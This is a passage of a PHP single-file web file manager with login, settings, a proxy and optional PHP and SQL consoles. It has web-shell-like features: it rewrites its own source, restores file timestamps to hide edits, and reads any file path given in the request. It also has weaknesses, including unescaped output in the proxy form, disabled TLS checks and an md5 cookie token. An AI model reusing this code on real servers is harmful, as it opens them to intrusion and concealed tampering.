	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
